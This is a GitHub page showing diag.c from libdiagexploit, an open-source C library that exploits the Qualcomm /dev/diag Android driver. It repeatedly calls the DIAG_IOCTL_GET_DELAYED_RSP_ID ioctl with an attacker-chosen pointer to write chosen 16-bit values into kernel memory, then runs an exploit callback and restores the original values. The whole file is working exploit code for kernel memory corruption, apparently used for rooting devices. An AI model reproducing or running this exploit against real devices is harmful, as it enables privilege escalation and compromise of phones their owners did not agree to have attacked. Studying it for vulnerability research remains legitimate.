forked from hiikezoe/libdiagexploit
-
Notifications
You must be signed in to change notification settings - Fork 11
/
diag.c
215 lines (176 loc) · 4.6 KB
/
diag.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
/*
* Copyright (C) 2013 Hiroyuki Ikezoe
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <device_database.h>
#include "diag.h"
static void *
get_delayed_rsp_id_addresses(void)
{
void *value;
value = (void *)device_get_symbol_address(DEVICE_SYMBOL(delayed_rsp_id));
if (value) {
return value;
}
print_reason_device_not_supported();
return NULL;
}
#define DIAG_IOCTL_GET_DELAYED_RSP_ID 8
struct diagpkt_delay_params {
void *rsp_ptr;
int size;
int *num_bytes_ptr;
};
static int
send_delay_params(int fd, void *target_address, void *stored_for_written_bytes)
{
int ret;
struct diagpkt_delay_params params;
params.rsp_ptr = target_address;
params.size = 2;
params.num_bytes_ptr = stored_for_written_bytes;
ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, ¶ms);
if (ret < 0) {
printf("failed to ioctl due to %s.\n", strerror(errno));
}
return ret;
}
static int
reset_delayed_rsp_id(int fd, void *delayed_rsp_id_address)
{
uint16_t unused;
return send_delay_params(fd, &unused, delayed_rsp_id_address);
}
static int
get_current_delayed_rsp_id(int fd)
{
int ret;
uint16_t delayed_rsp_id = 0;
int unused;
ret = send_delay_params(fd, &delayed_rsp_id, &unused);
if (ret < 0) {
return ret;
}
return delayed_rsp_id;
}
static bool
inject_value(struct diag_values *data,
int fd, void *delayed_rsp_id_address)
{
uint16_t delayed_rsp_id_value = 0;
int i, loop_count, ret;
ret = get_current_delayed_rsp_id(fd);
if (ret < 0) {
return false;
}
delayed_rsp_id_value = ret;
data->original_value = delayed_rsp_id_value;
if (delayed_rsp_id_value > data->value &&
reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
return false;
}
loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
for (i = 0; i < loop_count; i++) {
int unused;
if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
return false;
}
}
return true;
}
bool
diag_inject(struct diag_values *data, int data_length)
{
int fd;
bool ret;
fd = open("/dev/diag", O_RDWR);
if (fd < 0) {
printf("failed to open /dev/diag due to %s.\n", strerror(errno));
return false;
}
ret = diag_inject_with_fd(data, data_length, fd);
close(fd);
return ret;
}
bool
diag_inject_with_fd(struct diag_values *data, int data_length, int fd)
{
int i;
void *delayed_rsp_id_address;
int16_t dummy_delayed_rsp_id_address = 0;
delayed_rsp_id_address = get_delayed_rsp_id_addresses();
if (!delayed_rsp_id_address) {
printf("Attempting to inject code...\n");
printf("This works only once a boot.\n");
delayed_rsp_id_address = &dummy_delayed_rsp_id_address;
}
for (i = 0; i < data_length; i++) {
if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {
return false;
}
}
return true;
}
bool
diag_is_supported(void)
{
return get_delayed_rsp_id_addresses() != NULL;
}
static bool
restore_values(struct diag_values *data, int data_length, int fd)
{
int i;
void *delayed_rsp_id_address;
delayed_rsp_id_address = get_delayed_rsp_id_addresses();
if (!delayed_rsp_id_address) {
printf("Can't restore values because delayed_rsp_id address is unknown.\n");
return false;
}
for (i = 0; i < data_length; i++) {
data[i].value = data[i].original_value + 1;
if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {
return false;
}
}
return true;
}
bool
diag_run_exploit(struct diag_values *data, int data_length,
bool(*exploit_callback)(void* user_data), void *user_data)
{
bool success;
int fd;
fd = open("/dev/diag", O_RDWR);
if (fd < 0) {
printf("failed to open /dev/diag due to %s.\n", strerror(errno));
return false;
}
success = diag_inject_with_fd(data, data_length, fd);
if (success) {
success = exploit_callback(user_data);
restore_values(data, data_length, fd);
}
close(fd);
return success;
}
/*
vi:ts=2:nowrap:ai:expandtab:sw=2
*/